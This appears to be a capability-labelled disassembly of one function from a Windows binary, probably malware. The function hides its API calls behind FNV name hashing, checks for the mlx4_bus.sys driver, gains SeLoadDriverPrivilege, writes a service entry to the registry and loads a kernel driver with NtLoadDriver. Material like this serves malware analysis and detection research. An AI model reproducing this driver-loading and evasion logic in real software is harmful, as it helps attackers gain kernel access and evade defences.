Function at 0x140022b40
Capabilities:
Access peb ldr_data
Encode data using xor
Get system information on windows
Hash data using fnv
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x1400c5080]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
mov r14, rcx
mov qword [rbp - 0x78], rcx
mov qword [rbp + 0x258], rcx
xor r13d, r13d
mov r12d, r13d
mov dword [rsp + 0x40], r13d
mov ebx, r13d
mov dword [rbp + 0x248], r13d
lea r9, [rbp + 0x248]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140022c0f
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x248]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x248]
mov r8d, dword [rbp + 0x248]
mov rdx, rax
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140022bc0
test eax, eax
js 0x140022cf9
mov edi, r13d
cmp dword [rbx], r13d
jbe 0x140022cf9
nop dword [rax]
nop word [rax + rax]
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
mov qword [rbp + 0x2b0], r13
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], reloc.WS2_32.dll_ntohs
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140022c70
lea rcx, [rbp + 0x2b0]
call fcn.140020980
lea rcx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0x10
cmovae rcx, qword [rbp + 0x2b0]
lea rdx, str.mlx4_bus.sys
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140022d23
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x140022cef
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022cea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022d78
call fcn.140097750
inc edi
cmp edi, dword [rbx]
jb 0x140022c30
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [r14]
mov ecx, 0x5a4d
cmp word [rax], cx
je 0x140022ef0
mov rsi, r13
jmp 0x140022f01
imul rax, rsi, 0x128
mov rdi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x140022d84
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022d7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022d7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
test rdi, rdi
je 0x140022d0a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022e16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022e16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x60770fc4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022e11
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140022df0
cmp r8d, 0xbcb257e7
je 0x140022e1b
test r9d, r9d
jne 0x140022dd0
mov rax, qword [rax]
jmp 0x140022da0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022ec6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022ec6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5974c628
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022ec1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140022ea0
cmp r8d, 0x6e050078
je 0x140022ecb
test r9d, r9d
jne 0x140022e80
mov rax, qword [rax]
jmp 0x140022e50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r12d, dword [rsp + 0x40]
jmp 0x140022d0a
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
cmp dword [rsi], 0x4550
cmovne rsi, r13
mov qword [rsp + 0x48], rsi
cmp dword [rsi], 0x4550
je 0x14002307b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140022fa6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140022fa6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5cae7140
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140022fa1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140022f80
cmp r8d, 0x64aa36d3
je 0x140022fab
test r9d, r9d
jne 0x140022f60
mov rax, qword [rax]
jmp 0x140022f30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023056
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023056
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe5b18782
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023051
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023030
cmp r8d, 0x7c8b3fda
je 0x14002305b
test r9d, r9d
jne 0x140023010
mov rax, qword [rax]
jmp 0x140022fe0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r12d, dword [rsp + 0x40]
mov ebx, dword [rsi + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xf0], r13
mov qword [rbp + reloc.WS2_32.dll_ntohs8], 0xf
mov r8d, ntohl
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp + 0xe0]
call fcn.140020980
mov r9d, ebx
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x420]
call fcn.14001fe10
nop
cmp dword [rbp + 0x468], 0
jne 0x14002323b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023166
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023166
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8d8046cf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023161
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023140
cmp r8d, 0xda5b5cd2
je 0x14002316b
test r9d, r9d
jne 0x140023120
mov rax, qword [rax]
jmp 0x1400230f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023216
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023216
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa07e2621
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023211
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400231f0
cmp r8d, 0x7810f0c1
je 0x14002321b
test r9d, r9d
jne 0x1400231d0
mov rax, qword [rax]
jmp 0x1400231a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r12d, dword [rsp + 0x40]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 7
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x10]
call fcn.14002a8a0
mov qword [rbp + 0x248], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x248]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14002328e
mov bl, 1
jmp 0x140023319
mov qword [rbp + 0x2a8], r13
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rdx, qword [rbp + 0x10]
lea r8, [rbp + 0x2a8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400232ba
mov bl, 1
jmp 0x140023319
mov dword [rbp + 0x400], 1
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x404], rax
mov dword [rbp + 0x40c], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x400]
xor edx, edx
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14002330a
mov bl, 1
jmp 0x140023319
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x14002335c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023357
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023357
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], r13w
test bl, bl
je 0x140023379
xor r15b, r15b
jmp 0x1400238f1
mov rdi, qword [rbp + 0x430]
lea rbx, [rbp + 0x420]
cmp qword [rbp + 0x438], 0x10
cmovae rbx, qword [rbp + 0x420]
call fcn.140096f58
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0x108], rdi
lea r8, [rbp + 0x100]
mov edx, eax
lea rcx, [rbp + 0x40]
call fcn.14001e4c0
nop
mov qword [rbp - 0x10], r13
movdqa xmm0, xmmword [0x1400b8240]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], r13w
mov dword [rsp + 0x40], 7
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x10]
call fcn.14001eec0
test eax, eax
jne 0x14002585d
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rax, qword [rbp - 0x10]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
call fcn.140096f58
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x30]
mov edx, eax
lea rcx, [rbp + 0xc0]
call fcn.14002c5d0
mov dword [rsp + 0x40], 0x3f
lea r8, [0x1400aa974]
lea rcx, [rbp + 0xc0]
call fcn.140029f00
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rsp + 0x40], 0x7f
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x278], r13
mov qword [rbp + 0x280], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x268], 0
mov r8d, Ordinal_35
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x268]
call fcn.140020980
nop
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x268]
call fcn.14002a080
lea rdx, [rbp + 0x268]
cmp qword [rbp + 0x280], 0x10
cmovae rdx, qword [rbp + 0x268]
lea r8, [rbp + 0x240]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14002353b
mov rdx, qword [rbp + 0x280]
cmp rdx, 0x10
jb 0x140023534
inc rdx
mov rcx, qword [rbp + 0x268]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14002352f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023684
call fcn.140097750
xor bl, bl
jmp 0x140023690
mov byte [rbp + 0x261], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x261]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400234f3
mov byte [rbp + 0x262], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x262]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400234f3
mov byte [rbp + 0x263], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x263]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400234f3
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
mov eax, dword [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400234f3
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x280]
cmp rdx, 0x10
jb 0x140023690
inc rdx
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002368b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002368b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov byte [rbp + 0x268], 0
mov qword [rbp + 0x280], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x278], r13
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1400236e7
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400236e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400236e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14002373b
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023736
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023736
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc0], 0
mov r12d, 0x7b
mov dword [rsp + 0x40], r12d
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x1400237a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002379d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002379d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
movdqa xmm0, xmmword [0x1400b8240]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], r13w
mov rdx, qword [rbp + 0x58]
cmp rdx, 8
jb 0x1400237f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400237ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400238e5
call fcn.140097750
movdqa xmm0, xmmword [0x1400b8240]
movdqu xmmword [rbp + 0x50], xmm0
mov word [rbp + 0x40], r13w
test bl, bl
jne 0x140023812
xor r15b, r15b
jmp 0x1400238f1
mov qword [rbp + 0x378], r13
mov qword [rbp + 0x388], r13
mov qword [rbp + 0x390], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x378], 0
mov r8d, gethostname
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x378]
call fcn.140020980
nop
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x378]
call fcn.14002a080
lea rdx, [rbp + 0x378]
cmp qword [rbp + 0x390], 0x10
cmovae rdx, qword [rbp + 0x378]
lea rcx, [rbp + 0x490]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x360]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x360]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete r15b
mov rdx, qword [rbp + 0x390]
cmp rdx, 0x10
jb 0x1400238f1
inc rdx
mov rcx, qword [rbp + 0x378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400238ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400238ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
lea r14, [rbp + 0x440]
cmp qword [rbp + 0x458], 0x10
cmovae r14, qword [rbp + 0x440]
mov rbx, r13
mov dword [rbp + 0x248], r13d
lea r9, [rbp + 0x248]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14002397f
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x248]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x248]
mov r8d, dword [rbp + 0x248]
mov rdx, rax
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140023930
test eax, eax
js 0x140023a69
mov edi, r13d
cmp dword [rbx], r13d
jbe 0x140023a69
nop dword [rax]
nop word [rax + rax]
mov esi, edi
imul rax, rsi, 0x128
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
lea rdx, [rbx + 0x30]
add rdx, rcx
mov qword [rbp + 0x318], r13
mov qword [rbp + 0x328], r13
mov qword [rbp + 0x330], reloc.WS2_32.dll_ntohs
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400239e0
lea rcx, [rbp + 0x318]
call fcn.140020980
lea rcx, [rbp + 0x318]
cmp qword [rbp + 0x330], 0x10
cmovae rcx, qword [rbp + 0x318]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140023b2f
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x140023a5f
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023a5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023b84
call fcn.140097750
inc edi
cmp edi, dword [rbx]
jb 0x1400239a0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, r13
test r15b, r15b
je 0x140023a88
cmp r15b, 1
jne 0x140023a91
test rsi, rsi
jne 0x140023c7b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023b2a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023b2a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x21a98d09
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023b25
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023b00
cmp r8d, 0x6ea4a9ac
je 0x140023bae
test r9d, r9d
jne 0x140023ae0
mov rax, qword [rax]
jmp 0x140023ab0
imul rax, rsi, 0x128
mov rsi, qword [rax + rbx + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x140023b90
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023b8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140023b8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140097750
mov qword [rbp + 0x328], r13
mov qword [rbp + 0x330], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x318], 0
jmp 0x140023a7d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140023c56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140023c56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb0a21f61
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140023c51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140023c30
cmp r8d, 0x31141201
je 0x140023c5b
test r9d, r9d
jne 0x140023c10
mov rax, qword [rax]
jmp 0x140023be0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r12d, dword [rsp + 0x40]
mov r13d, dword [rbp + 0x460]
add r13, rsi
mov r15d, 4
mov rax, qword gs:[0x58]
add r15, qword [rax]
mov eax, dword [r15]
cmp dword [0x1400c6cac], eax
jle 0x140023e8c
lea rcx, [0x1400c6cac]
call fcn.1400978e0
cmp dword [0x1400c6cac], 0xffffffff
jne 0x140023e8c
xor esi, esi
mov ebx, esi
mov dword [rbp + 0x240], esi
lea r9, [rbp + 0x240]
xor r8d, r8d
xor edx, edx
lea ecx, [rsi + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140023d34
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x240]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x240]
mov r8d, dword [rbp + 0x240]
mov rdx, rax
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140023ce5
test eax, eax
js 0x140023e15
mov edi, esi
cmp dword [rbx], esi
jbe 0x140023e15
nop word [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
movzx eax, word [rcx + rbx + 0x2e]
add rax, rcx
lea rdx, [rbx + 0x30]
add rdx, rax
mov qword [rbp + 0x398], rsi
mov qword [rbp + 0x3a8], rsi
mov qword [rbp + 0x3b0], reloc.WS2_32.dll_ntohs
